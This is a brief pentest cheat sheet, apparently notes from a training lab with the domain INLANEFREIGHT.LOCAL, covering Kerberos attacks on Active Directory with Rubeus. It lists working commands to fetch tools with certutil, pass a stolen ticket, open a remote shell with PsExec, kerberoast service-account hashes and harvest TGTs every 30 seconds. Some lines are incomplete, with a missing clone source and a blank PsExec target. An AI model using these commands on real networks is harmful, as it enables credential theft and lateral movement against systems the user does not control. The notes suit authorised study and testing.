Skip to content



source 1 * * source 2 - my github fork for compiled binaries

git clone /opt/windows/GhostpackBinaries
source 3 - kali
mkdir -p /home/kali/workspace/www && cd /home/kali/workspace/www
cp /opt/windows/GhostpackBinaries/Rubeus.exe .

Passing the Ticket: Rubeus

# certutil -urlcache -f Rubeus.exe
# certutil -urlcache -f PsExec.exe
Rubeus.exe ptt /ticket:2-40a10000-web-win01$@HOST~MS01.INLANEFREIGHT.LOCAL-INLANEFREIGHT.LOCAL.kirbi
PsExec.exe \\ cmd.exe

Obtain the hash for the service account.

./Rubeus.exe kerberoast /nowrap

Harvesting Tickets

Harvesting gathers TGTs every 30 seconds that are being transferred to the KDC

Rubeus.exe harvest /interval:30